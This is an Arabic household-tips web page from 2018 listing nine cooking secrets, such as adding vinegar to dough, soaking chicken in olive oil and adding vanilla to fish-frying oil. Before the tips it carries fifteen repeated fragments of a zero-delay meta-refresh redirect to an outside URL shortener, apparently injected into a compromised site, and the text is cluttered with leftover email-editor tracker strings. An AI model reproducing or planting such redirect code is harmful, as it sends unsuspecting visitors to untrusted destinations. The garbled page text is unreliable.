الصحة والأسرة

اسرار الطبخ ‎

أغسطس 5, 2018

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />

5978733452342751921yMail_cursorElementTracker_1533467814981″>
5978733452342751921yMail_cursorElementTracker_1533467849616″>
5978733452342751921yMail_cursorElementTracker_1533467851076″>1 سر العجين الطري :
ضعي للعجين معلقةخل فتصبح العجينةطريةوماتنشف ولونها أبيض ووعندما تخبزيها تتحمر و أكيد طعمها طيب
2 سر الدجاج :
قبل طبخ الدجاج أو اللحمة انقعيه قليلاً بزيت الزيتون فيصبح طرياً ويستوي بشكل أسرع و الدجاج بصير لونو أحمر خصوصا إذا شويتيه بالفرن
3 سر قلي السمك بدون ريحة القلي :
5978733452342751921yMail_cursorElementTracker_1533474693411″>عندما تضعي زيت في المقلاة… رشي على الزيت رشة فانيلا بودرة ثم أشعلي النار واقلي . ماتطلع أبدا ريحة السمك… وبإمكانك عصرالليمون على السمك فهو يساعد في التخلص من الرائحة
4 سر الفتوش :
ضعي في كأس (زيت زيتون ليمون خل ابيض دبس رمان ملح فلفل اسمر شوية سكر مع بصل اخضر فرم ناعم)
واتركي الخليط ربع ساعة ثم ضعيه على السلطة
5 سر المعجنات :
وضع علبة لبن زبادي صغيره مع العجن
6 سر من أسرار الكبسه :
قبل الاستواء بعشر دقائق اعصري برتقاله وشربي الرز بها وارجعي غطيها … أيضاً نقع الزبيب بالبرتقال .. يعطي الطعم المميز
7 سر البيتزا اللذيذة مثل المطاعم :
1 ضعي لبن بالعجين ورشة سميد
2 رشي رشة سميد بالصينية قبل وضع العجين
3 رشي فوق طبقة الصلصة جبنة بارميزان ثم ضعي باقي المكونات بقية المحتويات
8 سر الكيك :
عندما تنتهي من الكيكه ضعي ربع معلقه صغيره كربونات مع قليل من الخل الأبيض ، سوف تفور وفوراً ضعيها على الكيكه فستصبح هشه وطريه
9 سر البشاميل :
5978733452342751921yMail_cursorElementTracker_1533467795216″>علبة قشطه مع الحليب لبشاميل طرى وطعم مميز
بواسطة
نهى الزينى
الوسوم
أغسطس 5, 2018
زر الذهاب إلى الأعلى